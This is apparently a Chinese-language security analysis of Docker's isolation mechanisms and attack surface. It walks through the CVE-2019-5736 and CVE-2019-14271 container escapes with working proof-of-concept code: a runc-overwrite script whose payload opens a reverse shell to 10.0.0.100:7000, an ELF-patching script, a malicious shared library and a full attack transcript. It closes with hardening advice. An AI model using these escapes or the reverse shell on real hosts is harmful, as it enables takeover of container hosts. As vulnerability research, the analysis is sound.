Docker 安全性與攻擊面分析

Docker 簡介

Docker 是一個用於開發,交付以及運行應用程序的開放平臺。Docker 使開發者可以將應用程序與基礎架構進行分離,從而實現軟件的快速交付。藉助 Docker,開發者可以像管理應用程序一樣管理基礎架構。開發者可以通過 Docker 進行快速交付,測試和代碼部署,這大大減少了編寫代碼與在生產環節實際部署代碼之間的用時。

Docker 提供了在一個獨立隔離的環境(稱之爲容器)中打包和運行應用程序的功能。容器的隔離和安全措施使得使用者可以在給定主機上同時運行多個容器。由於容器直接在主機的內核中運行,而不需要額外的虛擬化支持,這使得容器更加的輕量化。和使用虛擬機相比,相同配置的硬件可以運行更多的容器,甚至可以在實際上是虛擬機的主機中運行 Docker 容器。【1】

Docker 安全設計 【2】

爲了保證容器內應用程序能夠隔離運行並且保證安全性,Docker 使用了多種安全機制以及隔離措施,包括 Namespace,Cgroup ,Capability 限制,內核強訪問控制等等。

01

內核 Namespace

內核命名空間 ( Namespace ) 提供了最基礎和最直接的隔離形式。每當使用 docker run 啓動容器時,Docker 在後臺爲容器創建了一組獨立的命令空間,這使得一個運行在容器中的進程看不到甚至幾乎影響不到另一個容器或者宿主機中的進程。

並且每一個容器還有自己獨立的網絡協議棧,這意味着兩個容器之間的網絡也是互相隔離的。當然,如果在主機上進行恰當的設置,兩個容器可以通過各自的網絡接口互相訪問。從網絡架構上看,兩個容器之間的網絡通信和通過交換機連接的兩臺物理機相同。這使得大多數網絡訪問規則可以直接適用於容器之間的網絡訪問。

Linux 內核在 2.6.15 和 2.6.26 之間引入了內核命名空間。這意味着從 2008 年 7 月( 2.6.26 版本內核發佈日期)以來,命名空間相關的代碼已經在大量生產系統上被使用和測試。毋庸置疑,內核命名空間的設計和實現都是相當成熟的。

02

Linux Control Group

Control Group (簡稱 Cgroup )是 Linux 容器的另外一個關鍵組件。Cgroup 的主要作用是對資源進行覈算和限制。Cgroup 提供了對多種計算機資源的限制措施和計算指標,包括內存, CPU ,磁盤 IO 等。這確保每個容器都能公平的分配資源,並且保證單個容器無法通過耗盡資源的方式使得系統癱瘓。

因此,儘管 Cgroup 無法阻止一個容器訪問或者影響另一個容器的數據和進程。但是它對於抵禦 DOS 攻擊異常重要。

Cgroup 同樣也在內核中存在了不短的時間。該代碼始於 2006 年,並在內核 2.6.24 版本中被合併入內核。

03

Linux 內核 capabilities

Capabilities 將原本二元的” root/ 非 root “權限控制轉變爲更細粒度的訪問控制系統。例如僅僅需要綁定低於 1024 端口的進程(如 web 服務器)就不需要以 root 權限運行。只要賦予它 net_bind_service capability 即可。幾乎所有本需要 root 權限執行的功能現在都可以使用各種不同的 capabilities 代替。

這對於容器安全來說意義重大。在一個典型的服務器中,許多進程需要使用到 root 權限,包括 SSH 守護進程,cron 守護進程,日誌記錄,內核模塊管理,網絡配置等等。但是容器不同,幾乎所有上述的任務都是由容器之外的宿主機處理的。因此在大部分情況下,容器不需要”真正的” root 權限。這意味着容器中的“ root ”擁有比真正“ root ”更少的權限。例如容器可以:

  • 禁止所有的“ mount ”操作

  • 禁止對 raw socket 的訪問(防止數據包欺騙)

  • 禁止某些對文件系統的訪問操作。比如創建或者寫某些設備節點。

  • 禁止內核模塊加載

這意味着即使入侵者設法獲取到容器內的 root 權限,也很難造成嚴重的破壞或者逃逸到宿主機。

這些降權並不會影響常規的應用程序,但是會大大減少惡意攻擊者的攻擊途徑。默認情況下,Docker 會放棄所有不需要的 capability (即使用白名單)。

04

內核安全功能

除了 Capability 之外,Docker 還使用了多種內核提供的安全功能保護容器的安全。其中最重要的兩個模塊爲 Apparmor 和 Seccomp。

1、AppArmor [3][4][5]

Docker 可以使用 APPArmor 來增強自身的安全性。默認情況下,Docker 會爲容器自動生成並加載默認的 AppArmor 配置文件。

AppArmor ( Application Armor ) 是 Linux 內核的安全模塊之一。有別於傳統的 Unix 自主訪問控制 ( DAC ) 模型。AppArmor 通過內核安全模塊 ( LSM ) 實現了強制訪問控制 ( MAC ),可以將程序能夠訪問的資源限制在有限的資源集中。

AppArmor 通過在每個應用程序上應用特定的規則集來主動保護應用程序免受各種攻擊威脅。通過加載到內核中的配置文件,AppArmor 將訪問控制細化綁定到程序,配置文件完全定義了應用程序可以訪問哪些系統資源以及具有哪些權限。例如:配置文件可以允許程序進行網絡訪問,原始套接字訪問或者讀取寫入與路徑規則匹配的文件。如果配置文件沒有聲明,則默認情況下禁止進程對資源的訪問。

APPArmor 也是一項成熟的技術。自 2.6.36 版本起就已經包含在主線 Linux 內核中。

2、 Seccomp

Secure computing mode ( Seccomp )是一項旨在對進程系統調用進行限制的內核安全特性。默認情況下,大量的系統調用暴露給用戶進程。其中很多的系統調用在整個進程的生命週期內都不會被使用。所以 Seccomp 提供了對進程可調用的系統調用進行限制的手段。通過編寫一種被稱爲 Berkeley Packet Filter ( BPF ) 格式的過濾器,Seccomp 可以對進程執行的系統調用的系統調用號和參數進行檢查和過濾。

通過禁止進程調用不必要的系統調用,減少了內核暴露給用戶態進程的接口數量。從而減少內核攻擊面。Docker 在啓動容器時默認會啓用 Seccomp 保護,默認的白名單規則僅保留了 Linux 中比較常見並且安全的系統調用。而那些可能導致逃逸,用戶信息泄露的系統調用或者內核新添加,還不夠穩定的系統調用均會被排除在外。

05

綜述

Docker 使用許多安全手段來保證容器的隔離與安全。除了採用傳統的安全手段如修補安全漏洞,提高代碼安全性之外。Docker 在整體的安全構架上採用了最小權限原則。按照最小權限原則,容器只應該具有自己可以具有的權限,容器只能夠訪問自己可以訪問的資源。以此爲基礎,Docker 使用 namespace 對進程進行隔離,使用 Cgroup 對硬件資源使用進行限制,並且通過限制 Capability 收回容器不需要使用的特權。最後使用白名單規則的 Seccomp 和 AppArmo r 限制容器能夠訪問的資源範圍。通過這些限制,常規的沙箱繞過手段對於 Docker 容器均無效。而對於以上安全模塊本身或者 Linux 內核的 0day 攻擊則會面對以下兩個困境。

  1. 以上安全模塊和 Linux 內核的出現時間均在 10 年以上,經過了大量實際生產環境檢驗和代碼審計。

  2. 由於最小權限原則大大減少了內核攻擊面,導致大部分內核任意代碼執行漏洞無法滿足漏洞觸發條件。

除此之外,Docker 主體部分代碼由 go 語言編寫。Go 語言默認的內存安全特性導致對 Docker 本身的代碼進行內存破壞攻擊的風險也大大降低。

Docker 攻擊面

Dcoker 的安全性問題主要有以下四個方面:

  1. 內核固有的安全性問題以及其對 namespace 和 cgroup 的支持情況

  2. Docker 守護程序本身的安全性

  3. 默認或者用戶自定義配置文件的安全性

  4. 內核的“強化”安全功能以及其對容器的作用

01

攻擊面一:攻擊內核本身

由於 Docker 容器本身是運行在宿主機器內核之上的。並且其基本的進程隔離和資源限制是由內核的 Namespace 模塊和 Cgroup 模塊完成的。所以內核本身的安全性就是容器安全性的前提。針對內核的任意代碼執行或者路徑穿越漏洞可能導致容器逃逸。

其次,雖然 Linux 內核主線從相當早的版本開始對 Namespace 的支持就已經完善。但是如果 Docker 運行在自定義內核之上,且該內核對 Namespace 和 Cgroup 的支持不完善。可能導致不可預料的風險。

當然,並不是所有針對內核的漏洞都可以在容器中順利利用。Docker 的 Seccomp 以及 Capability 限制導致容器中進程無法使用內核所有功能,許多針對內核不成熟系統調用或者不成熟模塊的攻擊會由於容器限制無法使用。例如針對內核 bpf 模塊進行攻擊的 CVE-2017-16995 就因爲 Docker 容器默認禁止 bpf 系統調用而無法成功。

02

攻擊面二:攻擊 Docker 守護進程本身

雖然 Docker 容器具有很強的安全保護措施,但是 Docker 守護進程本身並沒有被完善的保護。Docker 守護進程本身默認由 root 用戶運行,並且該進程本身並沒有使用 Seccomp 或者 AppArmor 等安全模塊進行保護。這使得一旦攻擊者成功找到漏洞控制 Docker 守護進程進行任意文件寫或者代碼執行,就可以順利獲得宿主機的 root 權限而不會受到各種安全機制的阻礙。值得一提的是,默認情況下 Docker 不會開啓 User Namespace 隔離,這也意味着 Docker 內部的 root 與宿主機 root 對文件的讀寫權限相同。這導致一旦容器內部 root 進程獲取讀寫宿主機文件的機會,文件權限將不會成爲另一個問題。這一點在 CVE-2019-5636 利用中有所體現。

由於 Docker 使用 Go 語言編寫,所以絕大部分攻擊者都以尋找 Docker 的邏輯漏洞爲主。除此之外,一旦 Docker 容器啓動之後,容器內進程因爲隔離很難再影響到 Docker 守護進程本身。所以針對 Docker 容器的攻擊主要集中在容器啓動或者鏡像加載的過程中。

對於這一點, Docker 提供了一些對於鏡像的簽名認證機制。並且官方也推薦使用受信任的鏡像以避免一些攻擊。

除此之外,針對 Docker 攻擊的另一種方式是攻擊與 Docker 守護進程進行通信的 daemon socket。該攻擊從宿主機進行,與容器逃逸無關,在此不多做贅述。

03

攻擊面三:配置文件錯誤導致漏洞

通常來說,默認情況下 Docker 的默認容器配置是安全的。但是基於最小權限規則配置的配置文件可能會導致一些比較特殊的應用程序(例如需要特殊網絡配置的 VPN 服務等)無法正常運行。爲此 Docker 提供了自定義安全規則的功能。它允許用戶使用自定義安全配置文件代替默認的安全配置來實現定製化功能。但是如果配置文件的配置不當,就有可能導致 Docker 的安全性減弱,攻擊面增加的情況。

舉例來說,Docker 容器使用-- privileged 參數啓動的情況下。容器中可以運行許多默認配置下由於隔離無法使用的應用(如 VPN ,路由系統等)。但是該參數也會關閉 Docker 的所有安全保護。任何攻擊者只要取得容器中的 root 權限,就可以直接逃逸至宿主機並獲得宿主機 root 權限。

04

攻擊面四:安全模塊繞過

Docker 的安全設計很大程度上依賴內核的安全模塊。一旦內核安全模塊本身存在邏輯漏洞等情況導致安全配置被繞過,或者模塊被手動關閉。Docker 本身的安全也會受到極大的威脅。好在,Linux 內核安全模塊本身安全性是有保障的。在數十年的維護升級過程中,只存在極個別被繞過的情況。且近幾年間沒有相關漏洞的曝光。

因此,內核安全模塊被攻擊的風險只存在於自定義內核等比較稀少的情況。

Docker 歷史漏洞統計與介紹

根據資料統計【4】從 2014 年至今,Docker 有 24 個 CVE ID。根據 CVSS 2.0 標準進行評分,其中高危以上漏洞有 8 個佔總漏洞數量的 33%。具體漏洞分佈見如下表。

Docker 安全性與攻擊面分析

在近年( 2016 年以來)的 CVE 中,評分爲高危並且有可能導致 docker 逃逸的漏洞有兩個,分別是 CVE-2019-5736 和 CVE-2019-14271。

CVE-2019-5736

CVE-2019-5736 的評分爲 9.3 分。造成該漏洞的主要原因是 Docker 守護進程在執行 docker exec 等需要在容器中啓動進程操作時對 / proc / self / exe 的處理不當。如果用戶啓動了由攻擊者準備的 docker 容器或者被攻擊者獲得了容器中的 root 權限。那麼在用戶執行 docker exec 進入容器時,攻擊者就可以在宿主機執行任意代碼。

不同於以前使用 libcontainer 管理容器實例。Docker 目前使用一個獨立的子項目 runc 來管理所有的容器實例。在容器管理過程中,一個常見的操作是宿主機需要在容器中啓動一個新的進程。包括容器啓動時的 init 進程也需要由宿主機啓動。爲了實現該操作,一般由宿主機 fork 一個新進程,由該進程使用 setns 系統調用進入容器的 namespace 中。然後再調用 exec 在容器中執行需要的進程。該操作一般稱之爲進入容器 ( nsenter )。在 runc 項目中,雖然大部分代碼都是 GO 語言編寫的,但是進入容器部分代碼卻是使用 C 語言編寫的( runc/libcontainer/nsenter/ nsexec.c )。

漏洞就這部分代碼中,在 runc 進程進入容器時,沒有對自身 ELF 文件進行克隆拷貝。這就導致 runc 在進入容器之後,在執行 exec 之前。其 /proc/{PID}/exe 這個軟鏈接指向了宿主機 runc 程序。由於 docker 默認不啓用 User Namespace,這導致容器內進程可以讀寫 runc 程序文件。攻擊者可以替換 runc 程序,在宿主機下一次使用 docker 的時候就可以獲得任意代碼執行的機會。

漏洞的 POC 如下:

! /proc/self/exe

import os

import time

pid = os.getpid()+1

while True:

try:

    exe_name = os.readlink('/proc/%d/exe'%pid)

    break

except OSError:

    pass

if 'runc' in exe_name:

print exe_name

fp = open('/proc/%d/exe'%pid, 'r')

fd = fp.fileno()




time.sleep(0.5)

fp2 = open("/proc/self/fd/%d"%fd, 'w')

pay = "#!/bin/sh\nbash -i >& /dev/tcp/10.0.0.100/7000 0>&1"

fp2.write(pay)

else:

print "ero:"+ exe_name

腳本其實很簡單。首先是死循環監控是否有 runc 進程進入容器,檢測方式是使用 readlink 檢查 /proc/{PID}/exe 軟鏈接指向的文件名中是否有 runc 。值得一提的是,/proc/{PID}/exe 文件並不能以寫的模式打開,只能以只讀模式打開。不過對於所有打開的文件描述符,都會在 /proc/self/fd 文件夾下存在一個與之對應的軟鏈接,該文件是可以以寫模式打開並寫入的。所以 POC 中使用了兩次 open ,第一次以讀模式打開 runc 的 exe 軟鏈接。第二次再以寫模式打開自身 fd 下對應的軟鏈接進行寫入即可實現對 runc 程序文件本身的寫入。

除此之外,由於利用的時間窗口是在 runc 進入容器與執行 exec 之間。時間窗口很小,很難利用成功。爲此,需要擴大利用的時間窗口。這裏利用到 Linux Shebang 的特性。準備一個可執行文件,開頭寫入 #! /proc/self/exe。這樣 runc 在 exec 該文件時,實際就會執行 /proc/self/exe 這個程序,也就是 runc 本身。如此一來 exe 還是指向 runc 文件,便可以增大時間窗口。由於 POC 文件本身也是一個腳本文件,所以直接將 Shebang 寫在 POC 中,可以省掉一個文件。

下面來實際測試一下,首先啓動一個 Docker 容器。

Docker 安全性與攻擊面分析

並在容器中執行 POC 腳本。

Docker 安全性與攻擊面分析

接着只需要用 docker exec 執行 poc.py 即可。可以看到 runc 已經被修改。下一次 docker 運行的時候,就會執行腳本內容反彈 shell 。

Docker 安全性與攻擊面分析

CVE-2019-14271

CVE-2019-14271 的評分爲 7.5。該漏洞的產生原因是在使用 docker cp 從 docker 中拷貝文件時。Docker 的 docker-tar 進程會 chroot 到容器目錄下並且加載 libnss.so 模塊。而由於 docker-tar 本身並沒有被 Docker 容器限制。攻擊者可以通過替換 libnss.so 的方式得到在容器外宿主機執行任意代碼的機會【5】。

Docker 在使用 cp 命令拷貝文件的時候。會啓動一個名爲 docker-tar 的進程來執行拷貝的操作。由於 docker cp 命令通常執行速度很快,所以需要一些 bash 命令技巧來幫助我們觀察其執行過程。如圖 2 所示可以看到 docker-tar 作爲 dockerd 的子進程。和 dockerd 同樣具有 root 權限。

Docker 安全性與攻擊面分析

1、如圖 3 所示,通過反覆查看 /proc/{PID}/root 這個軟鏈接的指向可以發現 docker-tar 進程通過 chroot 的方式進入 docker 容器文件系統的內部。該功能的本意是通過 chroot 防止惡意攻擊者通過符號鏈接攻擊的方式操作 host 文件。

Docker 安全性與攻擊面分析

2、如圖 4 所示, docker-tar 進程在使用 chroot 進入到文件系統中之後,又加載了一些 libssn 有關的 so 庫。由於 chroot ,所以加載的均爲容器中的 so 庫。

Docker 安全性與攻擊面分析

3、然後查看 docker-tar 的 namespace 狀態。入圖 5 所示,在和 host 上的 shell 進程 ns 進行對比後可以發現 docker-tar 本身並沒有進入到容器的 ns 當中。該進程爲 host 進程。

Docker 安全性與攻擊面分析

因此,只需要攻擊者具有 docker 內部的 root 權限,就可以替換 libnss_files-2.27.so 這個文件。只需要等待管理員使用 docker cp 進行文件複製就可以實現逃逸。

爲了利用,首先需要做的就是準備一個用以攻擊的 libnss_file.so 。爲了方便修改惡意代碼並且不破壞原有 so 庫的功能。採用的方式是對鏡像中原有的 libnss_file.so 進行二進制 patch 額外添加一個依賴庫。這樣只需要準備一個包含惡意代碼的 so 庫讓 libnss 進行加載即可。patch 代碼如下:

! /usr/bin/python3

import argparse

from os import path

import lief

import sys

if__name__== "main":

parser = argparse.ArgumentParser(description="add libaray requirement to a elf")




parser.add_argument("elf_path", metavar="elf", type=str, help="elf to patch")

parser.add_argument("requirement", metavar="req", type=str, help="libaray requirement wath to add")

parser.add_argument("-o", "--out", type=str, help="patch file path, *_patch by default")




args = parser.parse_args()

elf_path = args.elf_path



if not path.isfile(elf_path):

    print(f"no such file: {elf_path}", file=sys.stderr)

    exit(-1)




elf = lief.parse(elf_path)

if elf is None:

    print(f"parse elf file {elf_path} error", file=sys.stderr)

    exit(-1)



elf.add_library(args.requirement)




elf_name = path.basename(elf_path)

out_path = args.out

if out_path is None:

    elf.write(elf_name+"_patch")

elif path.isdir(out_path):

    elf.write(path.join(out_path,elf_name+"_patch"))

else:

    out_dir = path.dirname(out_path)

    if not path.isdir(out_dir):

        print(f"no such dir: {out_dir}")

        exit(-1)

    elf.write(out_path)

該代碼通過 lief 爲 elf 添加新的依賴庫。如圖 6 所示執行後再通過 ldd 命令查看,就可以看到新增的依賴 so 庫。

Docker 安全性與攻擊面分析

然後需要編寫實際的攻擊代碼。由於除了 docker-tar 之外,許多 linux 命令和程序也會使用 libnss ,所以在編寫攻擊代碼時候需要注意檢查。

include

include

void__attribute__((constructor)) back() {

  FILE *proc_file = fopen("/proc/self/exe","r");

  if (proc_file !=NULL)

  {

        fclose(proc_file);

        return 0;

  }

  else{

        system("/breakout");

        return ;

  }

}

因爲 docker-tar 是 namespace 外的程序。該程序無法在 docker 容器的 PID namespace 內的 proc 文件系統中找到自身進程。因此可以通過打開 /proc/self/exe 的方法檢測攻擊代碼是否在 docker-tar 進程中執行。而使用 attribute((constructor)) 則可以保證惡意代碼在 so 庫被加載時即被執行。將該程序編譯成 a.out 放在 /tmp 下,docker-tar 在加載 /lib/x86_64-linux-gnu/libnss_files-2.27.so 時就會執行 breakout 程序。

最後是 breakout 命令的實現,雖然已經可以在 namespace 外執行任意代碼了。但是 docker-tar 本身經過了 chroot 。好在 docker-tar 具有 root 權限,所以繞過 chroot 不是什麼問題。只需要重新 mount proc 文件系統,然後通過 /proc/{PID}/root 軟鏈接即可訪問宿主機文件系統。只需要一行命令即可:

mount -t proc none /proc && echo "hack by chaitin" > /proc/1/root/tmp/hack

將上述 3 個文件寫入 docker 容器的對應位置然後執行 docker cp 命令。就能在 /tmp 下看到成功創建的文件。完整攻擊流程如下:

cat /tmp/hack # /tmp 下目前沒有 hack 文件

cat: /tmp/hack: No such file or directory

docker run --rm -d --name "cve-2019-14271" ubuntu:18.04 /bin/sleep 1d #創建受攻擊的 docker

fe9966b0bbc674eb72c9a27c3f789821a6f0ab2c81ad5d0d5ccbdc111da10272

docker cp a.out cve-2019-14271:/tmp # 將攻擊程序放在指定目錄下,

docker cp breakout cve-2019-14271:/ # 並替換 libnss_files-2.27.so

docker cp libnss_files.so.2_patch cve-2019-14271:/lib/x86_64-linux-gnu/libnss_files-2.27.so

docker cp cve-2019-14271:/var/log logs # 執行 docker cp 觸發漏洞

ls -l /tmp/hack # 驗證攻擊

-rw-r--r-- 1 root root 16 Jun 3 22:18 /tmp/hack

cat /tmp/hack

hack by chaitin

除了上述兩個針對 docker 本身的攻擊之外,還有少量 Linux 內核任意代碼執行漏洞可能導致 docker 逃逸。比如著名的“髒牛”漏洞 CVE-2016-5195 的利用過程可以繞過所有 Docker 的安全保護,導致容器逃逸。

Docker 安全性建議

綜上所述,防止 Docker 逃逸的重點在於防止內核代碼執行與防止對 Docker 守護進程的攻擊。對於看重 Docker 的用戶,可以在默認 Docker 安全的基礎上採用如下辦法提高 Docker 的安全性。

  1. 使用安全可靠的 Linux 內核並保持安全補丁的更新

  2. 使用非 root 權限運行 docker 守護進程

  3. 使用 selinux 或者 APPArmor 等對 Docker 守護進程的權限進行限制

  4. 在其它基於虛擬化的容器中運行 Docker 容器

總的來說, Docker 被逃逸的風險並不會比使用其它基於虛擬化實現的容器大,二者的攻擊面和攻擊手段差距極大。相對的,由於沒有虛擬化導致的性能損失, Docker 在性能方面對比虛擬化容器有極大的優勢。由於 Docker 在運行過程中幾乎不會有額外的性能開銷,在非常重視安全的場景中。使用 Docker 容器+虛擬化容器的雙層容器保護也是非常常見的解決方案。

參考資料:

【1】翻譯修改自 Docker 官方介紹 https://docs.docker.com/get-started/overview/

【2】參考 Docker 官方安全介紹文檔 https://docs.docker.com/engine/security/security/

【3】AppArmor 官方倉庫介紹 https://gitlab.com/apparmor/apparmor/-/wikis/home

【4】CVE 統計網站 https://www.cvedetails.com/vulnerability-list/vendor_id-13534/product_id-28125/Docker-Docker.html

【5】CVE-2019-14271 漏洞報告 https://seclists.org/bugtraq/2019/Sep/21

Docker 安全性與攻擊面分析